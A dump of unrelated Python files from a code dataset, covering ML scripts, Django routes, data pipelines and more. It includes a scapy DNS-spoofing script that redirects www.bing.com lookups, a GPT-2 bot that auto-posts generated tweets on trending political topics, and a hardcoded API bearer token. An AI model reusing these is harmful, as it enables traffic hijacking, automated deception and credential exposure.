linear_model.LinearRegression()\r\n clf2 = linear_model.LinearRegression()\r\n \r\n # 回帰直線\r\n clf1.fit(X[:point],y[:point])\r\n clf2.fit(X[point:],y[point:])\r\n \r\n plt.figure(graph_num)\r\n plt.scatter(X,y,c='b')\r\n plt.plot(X[:point],clf1.predict(X[:point]),c='r',LineWidth=3)\r\n plt.plot(X[point:],clf2.predict(X[point:]),c='r',LineWidth=3)\r\n\r\n\r\nif __name__=='__main__':\r\n X,y=dataset()\r\n point,point2 = linear_regression(X,y)\r\n \r\n graph(X,y,point,1)\r\n graph(X,y,point2,2)\r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"regression_true.py","file_name":"regression_true.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"467894200","text":"# ********* MUST BE RUN FROM VIRTUAL ENV WITH TF 1.13.1 INSTALLED W/ GPT-2-SIMPLE ****\n# ********* WILL NOT FUNCTION WITH TENSORFLOW GREATER THAN 1.13.1 ********************\nfrom tweepy import OAuthHandler, Cursor, API\nimport json\nimport pandas as pd\nimport time\nimport os\nfrom random import randint, randrange, choice\nimport gpt_2_simple as gpt2\n\nimport twitter_credentials_politicalgeni as tc\n\nauth = OAuthHandler(tc.CONSUMER_KEY, tc.CONSUMER_SECRET)\nauth.set_access_token(tc.ACCESS_TOKEN, tc.ACCESS_TOKEN_SECRET)\napi = API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\nprint('twitter logged in...')\nmodel_name = \"355M\"\nif not os.path.isdir(os.path.join(\"models\", model_name)):\n print(f\"Downloading {model_name} model...\")\n gpt2.download_gpt2(model_name=model_name)\nprint(\"model loaded\")\n\n\ndef generate_trending_tweet():\n trending = get_trending()\n topic = choice(trending)\n print(\"generating topical tweets on subject: \" + topic)\n\n # update the text file with current tweets\n file_name = '../data/topic_tweets/'+topic+'.txt'\n topical_tweets = get_topic_tweets(topic, 2500)\n t_tweet_string = \" || \".join(topical_tweets)\n\n if os.path.exists(file_name):\n with open(file_name, 'a+') as f:\n f.write(t_tweet_string)\n else:\n with open(file_name, 'w') as f:\n f.write(t_tweet_string)\n\n # train model\n print(\"training new model on scraped text for topic : \"+topic)\n sess = gpt2.start_tf_sess()\n\n if not os.path.exists('checkpoint/'+topic):\n # train fresh model\n print(\"training fresh model- none found...\")\n gpt2.finetune(sess,\n dataset=file_name,\n model_name=model_name,\n steps=200,\n restore_from='fresh',\n run_name=topic,\n print_every=1)\n else:\n # update existing model\n print(\"updating existing model with short run on new tweets...\")\n gpt2.finetune(sess,\n dataset=file_name,\n model_name=model_name,\n run_name=topic,\n steps=100,\n restore_from='latest',\n print_every=1)\n # generate tweet\n print(\"beginning to generate tweets...\")\n gpt2.generate_to_file(sess,\n length=400,\n destination_path='../data/generated_tweets.txt',\n nsamples=10,\n run_name=topic,\n prefix=topic)\n print('done generating tweets... ')\n # reset the session to prevent errors on loop\n gpt2.reset_session(sess=sess)\n # return 1 tweet\n with open('../data/generated_tweets.txt', 'r') as f:\n texts = f.read().split('====================')\n tweets = []\n for text in texts:\n # by just taking the first tweet, we're sure we have the seed text\n tweeters = text.split(' || ')\n for tweet in tweeters:\n if topic in tweet: # ensure it contains the topic string\n tweet = tweet.split(\" \")\n # remove links\n tweet = \" \".join(\n word for word in tweet if not has_prefix(word))\n if len(tweet) > len(topic)+2: # ensure it's not just the topic word only\n tweets.append(tweet)\n else:\n continue\n #print(\"Potential tweets:\\n\"+ \" \\n\\n \".join(tweets))\n tweet = choice(tweets)\n if len(tweet) > 280:\n tweet = tweet[:280]\n return tweet\n\n\ndef choose_and_clean_tweet(tweets):\n idx = randrange(0, len(tweets))\n tweet = tweets.pop(idx).split(\" \")\n tweet = \" \".join(word for word in tweet if not has_prefix(word))\n print(\"before shortening\"+tweet)\n if len(tweet) > 280:\n tweet = tweet[:280]\n print(\"after shortening: \"+tweet)\n return tweet\n\n\ndef get_trending():\n trends = api.trends_place(id=23424977) # this is the code for USA\n trending = []\n for trend in trends[0]['trends']:\n trending.append(trend['name'])\n # print(trend['name'])\n return trending\n\n\ndef get_topic_tweets(topic, max_tweets=100):\n searched_tweets = [status for status in Cursor(\n api.search, q=topic+\" -filter:retweets\", lang='en', tweet_mode='extended').items(max_tweets)]\n found_tweets = []\n for tweet in searched_tweets:\n try:\n found_tweets.append(tweet.full_text)\n except:\n print(\"failed to get full text for this tweet...\")\n return found_tweets\n\n\ndef has_prefix(word):\n for x in ['http']:\n if word.find(x) != -1:\n return True\n return False\n\n\ndef run_bot():\n\n while True:\n tweet = generate_trending_tweet()\n print(\"I am tweeting : \"+tweet)\n api.update_status(tweet)\n\n sleep_time = (1*60) + randint(0, 3)*60\n print(\"Going to sleep for \"+str(sleep_time/60)+\" minutes\")\n time.sleep(sleep_time)\n print(\"exited loop somehow...\")\n\n\nif __name__ == \"__main__\":\n run_bot()\n","sub_path":"src/gpt2_politicalgeni_tweet_bot.py","file_name":"gpt2_politicalgeni_tweet_bot.py","file_ext":"py","file_size_in_byte":5085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"368518810","text":"#!/usr.bin/env python\n\nimport netfilterqueue\nimport scapy.all as scapy\n\ndef process_packet():\n#get_payload method shows contents of packet\n scapy_packet = scapy.IP(packet.get_payload())\n#DNSRR is DNS request response\n if scapy_packet.hasLayer(scapy.DNSRR):\n#qname from DNS Question Record is website\n qname = scapy_packet[scapy.DNSQR].qname\n if \"www.bing.com\" in qname:\n print(\"[+] Spoofing Target\")\n#rrname = website; rdata=ip of requested domain\n answer = scapy.DNSRR(rrname=qname, rdata=\"10.0.1.1\")\n#.an is answer layer which will be modified by answer above\n scapy_packet[scapy.DNS].an = answer\n#only send one answer\n scapy_packet[scapy.DNS].ancount = 1\n#delete checksum and len fields which will be replaced once new packet is sent\n del scapy_packet[scapy.IP].len\n del scapy_packet[scapy.IP].chksum\n del scapy_packet[scapy.UDP].chksum\n del scapy_packet[scapy.UDP].len\n\n#set payload (above code) to scapy_packet\n packet.set_payload(str(scapy_packet))\n\n#.show method shows all layers of packet\n #print(scapy_packet.show())\n#allow packet to its dest \n packet.accept()\n\n#create instace of queue \nqueue = netfilterqueue.NetfilterQueue()\n#bind queue to queue number 0 and callback to func process_packet\nqueue.bind(0, process_packet)\nqueue.run\n\n","sub_path":"DNS_Spoofer/DNS_Spoofer.py","file_name":"DNS_Spoofer.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"398391366","text":"from django.conf.urls import patterns, include, url\nfrom django.conf import settings\nfrom django.views.generic import TemplateView\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nfrom main import views\n\nurlpatterns = patterns('',\n # Examples:\n url(r'^$', 'main.views.home', name='home'),\n url(r'^feedbacks/$', 'main.views.feedback'),\n url(r'^catalogue/$', views.catalogue),\n url(r'^catalogue/season/(?P[a-zA-Z-]+)/$', views.catalogue),\n url(r'^catalogue/(?P[a-zA-Z0-9_.-]+)/$', views.catalogue_more),\n (r'^cart/$', views.get_cart),\n (r'^cart/add/(?P[a-zA-Z0-9_.-]+)/$', views.add_to_cart),\n (r'^cart/update/(?P[a-zA-Z0-9_.-]+)/$', views.update_cart),\n (r'^cart/remove/(?P[a-zA-Z0-9_.-]+)/$', views.remove_from_cart),\n (r'^thanks/$', TemplateView.as_view(template_name=\"thanks.html\")),\n # url(r'^valente/', include('valente.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n (r'^tinymce/', include('tinymce.urls')),\n (r'^mce_filebrowser/', include('mce_filebrowser.urls')),\n url(r'^admin/', include(admin.site.urls)),\n)\n\nurlpatterns = patterns('',\nurl(r'^media/(?P.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT, 'show_indexes': True}),\nurl(r'', include('django.contrib.staticfiles.urls')),\n) + urlpatterns\n","sub_path":"valente/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"238688481","text":"import kagglegym\r\nimport numpy as np\r\nimport random\r\nimport time as t\r\nfrom sklearn.feature_selection import SelectKBest\r\nfrom sklearn.preprocessing import Imputer\r\nfrom sklearn import preprocessing\r\nfrom sklearn.gaussian_process import GaussianProcessRegressor\r\nfrom sklearn.feature_selection import mutual_info_regression\r\n\r\n# The \"environment\" is our interface for code competitions\r\nenv = kagglegym.make()\r\n\r\n# We get our initial observation by calling \"reset\"\r\nobservation = env.reset()\r\n\r\ndata = observation.train\r\n\r\n\r\n#%%\r\nSUPER_VALUES_selected_feature_ids = [0, 88, 91, 99, 100]\r\nSUPER_VALUES_seed = 13\r\nSUPER_VALUES_alpha=1e-07\r\n\r\n#%%\r\nfrom sklearn.metrics import r2_score\r\ndef cal_r(y_true, y_pred):\r\n #https://www.kaggle.com/c/two-sigma-financial-modeling/details/evaluation\r\n r2 = r2_score(y_true, y_pred)\r\n r = np.sign(r2)*np.sqrt(np.absolute(r2))\r\n # r in kaggle platform will be clipped at -1\r\n return r;\r\n# this list is calculated based 3_model_1L_gaussian_kbest\r\n\r\n#%%\r\nclass Model1L:\r\n def __init__(self, y_min, y_max, seed, alpha, selected_feature_ids):\r\n self.y_saturated_values = [y_min, y_max]\r\n self.y_min = y_min\r\n self.y_max = y_max\r\n self.alpha = alpha\r\n self.seed = seed\r\n self.selected_feature_ids = selected_feature_ids\r\n\r\n def fit(self, tr_chunk):\r\n tr_Y = tr_chunk['y'].values\r\n tr_X = tr_chunk.drop(['id','y'], 1)\r\n '''\r\n 1. Remove samples with saturated values\r\n '''\r\n tr_chunk = tr_chunk.loc[~tr_chunk['y'].isin(self.y_saturated_values)]\r\n tr_X = tr_chunk.drop(['id','y'], 1)\r\n tr_Y = tr_chunk['y'].values\r\n '''\r\n use predefined small set of feature to save time\r\n '''\r\n tr_X = tr_X[self.selected_feature_ids]\r\n '''\r\n 2. replace NaN with median value\r\n use SUPER_VALUES_selected_feature_ids to accelerate processing\r\n '''\r\n self.imputer = Imputer(missing_values='NaN', strategy='median', axis=0)\r\n self.imputer.fit(tr_X)\r\n tr_X = self.imputer.transform(tr_X)\r\n #%\r\n '''\r\n 3. normalization\r\n '''\r\n self.normalization = preprocessing.StandardScaler().fit(tr_X)\r\n tr_X= self.normalization.transform(tr_X)\r\n '''\r\n 4. kbest for over-fitting problem\r\n '''\r\n self.kbest = SelectKBest(mutual_info_regression, k=1)\r\n self.kbest.fit(tr_X, tr_Y)\r\n tr_X = self.kbest.transform(tr_X)\r\n \r\n '''\r\n 5. Apply regression\r\n '''\r\n self.model = GaussianProcessRegressor(alpha=SUPER_VALUES_alpha,\r\n random_state=SUPER_VALUES_seed)\r\n \r\n self.model.fit(tr_X, tr_Y)\r\n \r\n tr_Y_pred = self.model.predict(tr_X)\r\n \r\n '''\r\n 6. set value to min or max if it is out of scope\r\n '''\r\n tr_Y_pred[tr_Y_predself.y_max] = self.y_max \r\n \r\n tr_r = cal_r(tr_Y,tr_Y_pred)\r\n\r\n return tr_r\r\n\r\n def predict(self,X):\r\n \r\n if 'id' in X: X = X.drop('id', 1) \r\n has_Y = False\r\n if 'y' in X:\r\n has_Y = True\r\n Y = X['y'].values\r\n X = X.drop('y', 1) \r\n X = X[self.selected_feature_ids]\r\n X = self.imputer.transform(X)\r\n X = self.normalization.transform(X)\r\n X = self.kbest.transform(X)\r\n Y_pred = self.model.predict(X)\r\n Y_pred[Y_predself.y_max] = self.y_max \r\n \r\n if has_Y:\r\n return cal_r(Y,Y_pred)\r\n else:\r\n return Y_pred\r\n#%%\r\n\r\n\r\nt_preprocessing = t.time()\r\n\r\n# seed the random number generator to provide repeatable result\r\nnp.random.seed(SUPER_VALUES_seed)\r\n'''\r\nprepare testing dataset\r\n\r\nbased on the obversation on splitting between training anda testing dataset in kagglegym, testing dataset should be after training dataset in time asc.\r\norder all data in timeseries, and use the last 1% as testing dataset.\r\n'''\r\n\r\nremained_sample_ids = set(data.index.tolist())\r\ntest_ids = set([])\r\n\r\ndata_gp = data.groupby('timestamp')\r\ntest_ratio = 0.01\r\nprint('create test dataset',end='')\r\n\r\n\r\nunique_timestamp = data[\"timestamp\"].unique()\r\nn = len(unique_timestamp)\r\ntest_start_i = int(n*(1-test_ratio))\r\ntimesplit = unique_timestamp[test_start_i]\r\n\r\nprint('timesplit:',timesplit)\r\ntrain_data = data[data.timestamp < timesplit]\r\ntest_data = data[data.timestamp >= timesplit]\r\n\r\n\r\n#%%\r\n'''\r\nbreak training data into 100 similar chunks: well-distributed timestamps and object id\r\n\r\n1. there are about 1812 timestamps\r\n2. group sample by timestamp. At each timestamp, break samples into 100 chunks randomly. At the end, pick one chunk at each timestamp, and combine into a big chunk. \r\n'''\r\n\r\n#%%\r\ndata_gp = train_data.groupby('timestamp')\r\n\r\ntr_chunk_ids = {}\r\nfor i in range(100):\r\n tr_chunk_ids[i] = []\r\n\r\nprint('create chunks',end='')\r\nfor name, group in data_gp:\r\n #print('create tr chunks from timestamp:',name)\r\n print('.',end='')\r\n ids = group.index\r\n ids_shuffled = np.random.permutation(ids)\r\n sub_chunks = np.array_split(ids_shuffled,100)\r\n # shuffle the chunk list to avoid all small chunks always sit at the end of the list\r\n np.random.shuffle(sub_chunks)\r\n for i in range(100):\r\n tr_chunk_ids[i].extend(sub_chunks[i])\r\n\r\nprint('(DONE)')\r\n\r\n#%%\r\n'''\r\nMODELING\r\n'''\r\nimport copy\r\n\r\ny_min = np.min(data['y'])\r\ny_max = np.max(data['y'])\r\n\r\nt_total_start = t.time()\r\n\r\ngood_models = []\r\nfor chunk_i in range(len(tr_chunk_ids)):\r\n t_chunk_start = t.time()\r\n print('C'+str(chunk_i),end=',')\r\n tr_ids = tr_chunk_ids[chunk_i]\r\n chunk = train_data.ix[tr_ids]\r\n\r\n model = Model1L(y_min, y_max, SUPER_VALUES_seed, SUPER_VALUES_alpha, SUPER_VALUES_selected_feature_ids)\r\n \r\n tr_r = model.fit(chunk)\r\n print('tr:'+str(tr_r),end=',')\r\n \r\n val_chunk_i = chunk_i+1\r\n val2_chunk_i = chunk_i+2\r\n if chunk_i == len(tr_chunk_ids)-1:\r\n val_chunk_i = chunk_i-1\r\n val2_chunk_i = chunk_i-2\r\n elif chunk_i == len(tr_chunk_ids)-2:\r\n val2_chunk_i = chunk_i-1\r\n val_ids = tr_chunk_ids[val_chunk_i]\r\n chunk = train_data.ix[val_ids]\r\n val_r = model.predict(chunk)\r\n print('val:'+str(val_r),end=',')\r\n \r\n if val_r <=0:\r\n print('(DISCARD)',end=',')\r\n else:\r\n print('(SAVED)',end=',')\r\n test_r= model.predict(test_data)\r\n print('test:'+str(test_r))\r\n good_models.append(copy.deepcopy(model))\r\n \r\n# val2_ids = tr_chunk_ids[val2_chunk_i]\r\n# chunk = train_data.ix[val2_ids]\r\n# val2_r = model.predict(chunk)\r\n# print('val2:'+str(val2_r),end=',')\r\n# if val2_r <=0:\r\n# print('(DISCARD)',end=',')\r\n# else:\r\n# #final_model = model\r\n# print('(SAVED)',end=',')\r\n# test_r= model.predict(test_data)\r\n# print('test:'+str(test_r))\r\n# \r\n# good_models.append(copy.deepcopy(model))\r\n\r\n t_chunk_finish = t.time()\r\n print(str(int(t_chunk_finish-t_chunk_start))+'sec,'+str(int((t_chunk_finish-t_total_start)/60))+'min')\r\n\r\n \r\n#%%\r\n'''\r\npredict target\r\n'''\r\n#processed_test_c = 0\r\n#while True:\r\n# target = observation.target\r\n# features = observation.features\r\n#\r\n# target.y = final_model.predict(features)\r\n# \r\n# processed_test_c += len(target.y)\r\n#\r\n# observation, reward, done, info = env.step(target)\r\n# print(processed_test_c,'reward:',reward)\r\n# if done:\r\n# print(\"Public score: {}\".format(info[\"public_score\"]))\r\n# break\r\n\r\n#%%\r\n'''\r\npredict target\r\n'''\r\n\r\n#env = kagglegym.make()\r\n#observation = env.reset()\r\n\r\n\r\nprocessed_test_c = 0\r\nwhile True:\r\n target = observation.target\r\n features = observation.features\r\n\r\n y_pred_sum = np.zeros(len(target.y))\r\n for model in good_models:\r\n y_pred_sum += model.predict(features)\r\n y_pred = y_pred_sum / len(good_models)\r\n target.y = y_pred\r\n \r\n processed_test_c += len(target.y)\r\n\r\n observation, reward, done, info = env.step(target)\r\n print(processed_test_c,'reward:',reward)\r\n if done:\r\n print(\"Public score: {}\".format(info[\"public_score\"]))\r\n break\r\n \r\n#%%\r\n\r\nval2_ids = tr_chunk_ids[val2_chunk_i]\r\nchunk = train_data.ix[val2_ids]\r\n\r\nchunk_X = chunk.drop('y', 1)\r\nchunk_Y = chunk['y']\r\n\r\ny_pred_sum = np.zeros(len(chunk_Y))\r\nfor model in good_models:\r\n chunk_Y_pred = model.predict(chunk_X)\r\n y_pred_sum += chunk_Y_pred\r\n \r\n print(cal_r(chunk_Y,chunk_Y_pred))\r\ny_pred = y_pred_sum / len(good_models)\r\nprint('aver:',cal_r(chunk_Y,y_pred))","sub_path":"history/5_Submission_timeseries.py","file_name":"5_Submission_timeseries.py","file_ext":"py","file_size_in_byte":8717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"545964535","text":"import argparse\nimport asyncio\nimport logging\nfrom concurrent.futures import ThreadPoolExecutor\n\nimport numpy as np\n\nfrom waveline import ConditionWave\n\nlogging.basicConfig(level=logging.INFO)\n\n\nasync def main(ip: str, samplerate: int, blocksize: int):\n async with ConditionWave(ip) as cw:\n print(await cw.get_info())\n await cw.set_range(channel=0, range_volts=0.05)\n await cw.set_decimation(channel=0, factor=int(cw.MAX_SAMPLERATE / samplerate))\n await cw.set_filter(channel=0, highpass=100e3, lowpass=500e3, order=8)\n await cw.start_acquisition()\n\n with ThreadPoolExecutor(max_workers=1) as pool:\n loop = asyncio.get_event_loop()\n async for timestamp, y in cw.stream(1, blocksize):\n # execute (longer) blocking operations in the thread pool, e.g.:\n # Y = await loop.run_in_executor(pool, lambda y: np.abs(np.fft.rfft(y)), y)\n\n y_max = np.max(y)\n # visualize max amplitude with \"level meter\"\n cols = int(80 * y_max / 0.05) # 50 mV input range\n print(f\"{y_max:<8f} V: \" + \"#\" * cols + \"-\" * (80 - cols), end=\"\\r\")\n\n await cw.stop_acquisition()\n\n\nif __name__ == \"__main__\":\n print(f\"Discovered devices: {ConditionWave.discover()}\\n\")\n\n parser = argparse.ArgumentParser(description=\"conditionwave_stream\")\n parser.add_argument(\"ip\", help=\"IP address of conditionWave device\")\n parser.add_argument(\n \"--samplerate\",\n \"-s\",\n type=int,\n default=ConditionWave.MAX_SAMPLERATE,\n help=\"Sampling rate in Hz\",\n )\n parser.add_argument(\n \"--blocksize\",\n \"-b\",\n type=int,\n default=1_000_000,\n help=\"Block size\",\n )\n args = parser.parse_args()\n\n try:\n asyncio.run(main(args.ip, args.samplerate, args.blocksize))\n except KeyboardInterrupt:\n ...\n","sub_path":"examples/conditionwave_stream.py","file_name":"conditionwave_stream.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"183329972","text":"\nimport attr\nimport luigi\nfrom box import Box\nfrom gql import gql\nfrom luigi.util import requires\n\nfrom settings import TMP_DIR\nfrom tasks.base import GzipToFtp\nfrom tasks.grql import GraphQlParsing\nfrom tcomapi.common.dates import previous_date_as_str\nfrom tcomapi.common.utils import dict_to_csvrow, save_csvrows\n\n\n@attr.s\nclass GovernmentPurchasesRow:\n pid = attr.ib(default='')\n bin = attr.ib(default='')\n iin = attr.ib(default='')\n inn = attr.ib(default='')\n unp = attr.ib(default='')\n regdate = attr.ib(default='')\n crdate = attr.ib(default='')\n number_reg = attr.ib(default='')\n series = attr.ib(default='')\n name_ru = attr.ib(default='')\n name_kz = attr.ib(default='')\n email = attr.ib(default='')\n phone = attr.ib(default='')\n website = attr.ib(default='')\n last_update_date = attr.ib(default='')\n country_code = attr.ib(default='')\n qvazi = attr.ib(default='')\n customer = attr.ib(default='')\n organizer = attr.ib(default='')\n mark_national_company = attr.ib(default='')\n ref_kopf_code = attr.ib(default='')\n mark_assoc_with_disab = attr.ib(default='')\n year = attr.ib(default='')\n mark_resident = attr.ib(default='')\n system_id = attr.ib(default='')\n supplier = attr.ib(default='')\n krp_code = attr.ib(default='')\n oked_list = attr.ib(default='')\n kse_code = attr.ib(default='')\n mark_world_company = attr.ib(default='')\n mark_state_monopoly = attr.ib(default='')\n mark_natural_monopoly = attr.ib(default='')\n mark_patronymic_producer = attr.ib(default='')\n mark_patronymic_supplyer = attr.ib(default='')\n mark_small_employer = attr.ib(default='')\n type_supplier = attr.ib(default='')\n is_single_org = attr.ib(default='')\n index_date = attr.ib(default='')\n\n\nclass GovernmentPurchasesParsingToCsv(GraphQlParsing):\n start_date = luigi.Parameter(default=previous_date_as_str(1))\n end_date = luigi.Parameter(default=previous_date_as_str(1))\n limit = 100\n\n def run(self):\n client = self.get_client()\n query = gql(self.query)\n start_from = None\n params = {'from': str(self.start_date), 'to': str(self.end_date), 'limit': self.limit}\n while True:\n p = params\n if start_from:\n p[\"after\"] = start_from\n\n data = client.execute(query, variable_values=p)\n if data.get('Subjects') is None or len(data.get('Subjects', [])) == 0:\n break\n\n last_id = data.get('Subjects', [])[-1]['pid']\n start_from = last_id\n data = [dict_to_csvrow(d, self.struct) for d in data.get('Subjects')]\n header = tuple(f.name for f in attr.fields(GovernmentPurchasesRow))\n #\n save_csvrows(self.output().path, [header], sep=self.sep)\n save_csvrows(self.output().path, data, sep=self.sep)\n\n\n@requires(GovernmentPurchasesParsingToCsv)\nclass GzipGovernmentPurchasesParsingToCsv(GzipToFtp):\n pass\n\n\nclass GovernmentPurchases(luigi.WrapperTask):\n\n def requires(self):\n query = \"\"\"\n query getSubjects($from: String, $to: String, $limit: Int, $after: Int){\n Subjects(filter: {lastUpdateDate: [$from, $to]}, limit: $limit, after: $after) {\n pid\n bin\n iin\n inn\n unp\n regdate\n crdate\n number_reg: numberReg\n series\n name_ru: nameRu\n name_kz: nameKz\n email\n phone\n website\n last_update_date: lastUpdateDate\n country_code: countryCode\n qvazi\n customer\n organizer\n mark_national_company: markNationalCompany\n ref_kopf_code: refKopfCode\n mark_assoc_with_disab: markAssocWithDisab\n year\n mark_resident: markResident\n system_id: systemId\n supplier\n krp_code: krpCode\n oked_list: okedList\n kse_code: kseCode\n mark_world_company: markWorldCompany\n mark_state_monopoly: markStateMonopoly\n mark_natural_monopoly: markNaturalMonopoly\n mark_patronymic_producer: markPatronymicProducer\n mark_patronymic_supplyer: markPatronymicSupplyer\n mark_small_employer: markSmallEmployer\n type_supplier: typeSupplier\n is_single_org: isSingleOrg\n index_date: indexDate\n }\n }\n\"\"\"\n return GzipGovernmentPurchasesParsingToCsv(\n directory=TMP_DIR,\n sep=',',\n url='https://ows.goszakup.gov.kz/v3/graphql',\n headers={'Authorization': 'Bearer 61b536c8271157ab23f71c745b925133'},\n query=query,\n name='goszakup_companies',\n struct=GovernmentPurchasesRow,\n )\n\n\nif __name__ == '__main__':\n luigi.run()\n","sub_path":"tasks/gov_purchases.py","file_name":"gov_purchases.py","file_ext":"py","file_size_in_byte":4894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"9360909","text":"import pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import chi2\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import ExtraTreesClassifier\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_curve, auc\n\n\nif __name__ == '__main__':\n sns.set_style('whitegrid')\n features_df = pd.DataFrame.from_csv(\n '/media/vasiliy/01D266BF62940460/Linux/football_research/output_data/max_features.csv', sep=';')\n\n features_df = features_df.dropna(axis=0).reset_index(drop=True)\n features_df = features_df.drop(['home_team', 'guest_team'], axis=1)\n\n for extreme_event in ['chanting', 'pyro', 'throwing', 'others']:\n\n # print(features_df[extreme_event].value_counts())\n print('\\n')\n print(extreme_event)\n print('-------------')\n Y = features_df[extreme_event].get_values()\n\n n_classes = 2\n\n X = features_df.drop(['chanting', 'pyro', 'fight', 'others', 'banner', 'throwing'], axis=1)\n\n X = X.as_matrix()\n\n test = SelectKBest(chi2, k=4)\n fit = test.fit(X, Y)\n X_new = fit.transform(X)\n\n rocs = []\n\n for i in range(100):\n clf = GaussianNB()\n\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y)\n\n clf.fit(X_train, Y_train)\n\n y_score = clf.predict(X_test)\n # compute ROC\n\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n\n fpr[0], tpr[0], _ = roc_curve(Y_test, y_score)\n roc_auc[0] = auc(fpr[0], tpr[0])\n\n rocs.append(roc_auc[0])\n\n fpr[\"micro\"], tpr[\"micro\"], _ = roc_curve(Y_test.ravel(), y_score.ravel())\n roc_auc[\"micro\"] = auc(fpr[\"micro\"], tpr[\"micro\"])\n\n lw = 2\n\n mean_roc = np.mean(rocs)\n median_roc = np.median(rocs)\n std_roc = np.std(rocs)\n # print('mean roc = {0}'.format(mean_roc))\n # print('std roc = {0}'.format(std_roc))\n sns.distplot(rocs)\n plt.title('GaussianNB - ' + extreme_event + ' mean roc = {0:.2f}, median = {1:.2f}, std = {2:.2f}'.\n format(round(mean_roc, 2), round(median_roc, 2), round(std_roc, 2)))\n plt.show()","sub_path":"Classification/MultyTimesTest.py","file_name":"MultyTimesTest.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"482331577","text":"from banal import ensure_list\nfrom urllib.parse import urljoin\nfrom datapatch import get_lookups\nfrom followthemoney import model\nfrom followthemoney.types import registry\n\nfrom opensanctions import settings\nfrom opensanctions.core.entity import Entity\nfrom opensanctions.helpers.lookups import load_yaml\nfrom opensanctions.model import Issue, Statement, Resource\nfrom opensanctions.model.base import KEY_LEN\nfrom opensanctions.util import joinslug\n\n\nclass Dataset(object):\n \"\"\"A dataset is a unit of execution of crawlers, and a grouping of entities.\n There are two types: sources (which relate to a specific crawlers), and\n collections (which group sources into more useful units).\"\"\"\n\n ALL = \"all\"\n\n def __init__(self, type_, file_path, config):\n self.type = type_\n self.file_path = file_path\n self.name = config.get(\"name\", file_path.stem)\n self.prefix = config.get(\"prefix\", self.name)\n self.title = config.get(\"title\", self.name)\n self.summary = config.get(\"summary\", \"\")\n self.description = config.get(\"description\", \"\")\n\n # Collections can be part of other collections.\n collections = ensure_list(config.get(\"collections\"))\n if self.name != self.ALL:\n collections.append(self.ALL)\n self.collections = set(collections)\n\n self.lookups = get_lookups(config.get(\"lookups\", {}))\n\n def make_slug(self, *parts, strict=True):\n slug = joinslug(*parts, prefix=self.prefix, strict=strict)\n if slug is not None:\n return slug[:KEY_LEN]\n\n def make_entity(self, schema, target=False):\n return Entity(self, schema, target=target)\n\n def get_entity(self, entity_id):\n \"\"\"Fetch an entity in the given dataset by its ID.\n\n If you run this in a crawler, you may want to run ``context.flush()``\n first to ensure all relevant entity fragments have been written to the\n database.\"\"\"\n for entity in Entity.query(self, entity_id=entity_id):\n return entity\n\n @property\n def datasets(self):\n return set([self])\n\n @property\n def source_names(self):\n return [s.name for s in self.sources]\n\n @classmethod\n def _from_metadata(cls, file_path):\n from opensanctions.core.source import Source\n from opensanctions.core.collection import Collection\n\n config = load_yaml(file_path)\n type_ = config.get(\"type\", Source.TYPE)\n type_ = type_.lower().strip()\n if type_ == Collection.TYPE:\n return Collection(file_path, config)\n if type_ == Source.TYPE:\n return Source(file_path, config)\n\n @classmethod\n def _load_cache(cls):\n if not hasattr(cls, \"_cache\"):\n cls._cache = {}\n for glob in (\"**/*.yml\", \"**/*.yaml\"):\n for file_path in settings.METADATA_PATH.glob(glob):\n dataset = cls._from_metadata(file_path)\n cls._cache[dataset.name] = dataset\n return cls._cache\n\n @classmethod\n def all(cls):\n return cls._load_cache().values()\n\n @classmethod\n def get(cls, name):\n return cls._load_cache().get(name)\n\n @classmethod\n def names(cls):\n \"\"\"An array of all dataset names found in the metadata path.\"\"\"\n return list(sorted((dataset.name for dataset in cls.all())))\n\n def to_dict(self):\n return {\n \"name\": self.name,\n \"type\": self.type,\n \"title\": self.title,\n \"summary\": self.summary,\n \"description\": self.description,\n }\n\n def make_public_url(self, path):\n \"\"\"Generate a public URL for a file within the dataset context.\"\"\"\n url = urljoin(settings.DATASET_URL, f\"{self.name}/\")\n return urljoin(url, path)\n\n def get_target_countries(self):\n countries = []\n for code, count in Statement.agg_target_by_country(dataset=self):\n result = {\n \"code\": code,\n \"count\": count,\n \"label\": registry.country.caption(code),\n }\n countries.append(result)\n return countries\n\n def get_target_schemata(self):\n schemata = []\n for name, count in Statement.agg_target_by_schema(dataset=self):\n schema = model.get(name)\n result = {\n \"name\": name,\n \"count\": count,\n \"label\": schema.label,\n \"plural\": schema.plural,\n }\n schemata.append(result)\n return schemata\n\n def to_index(self):\n meta = self.to_dict()\n meta[\"index_url\"] = self.make_public_url(\"index.json\")\n meta[\"issues_url\"] = self.make_public_url(\"issues.json\")\n meta[\"issue_levels\"] = 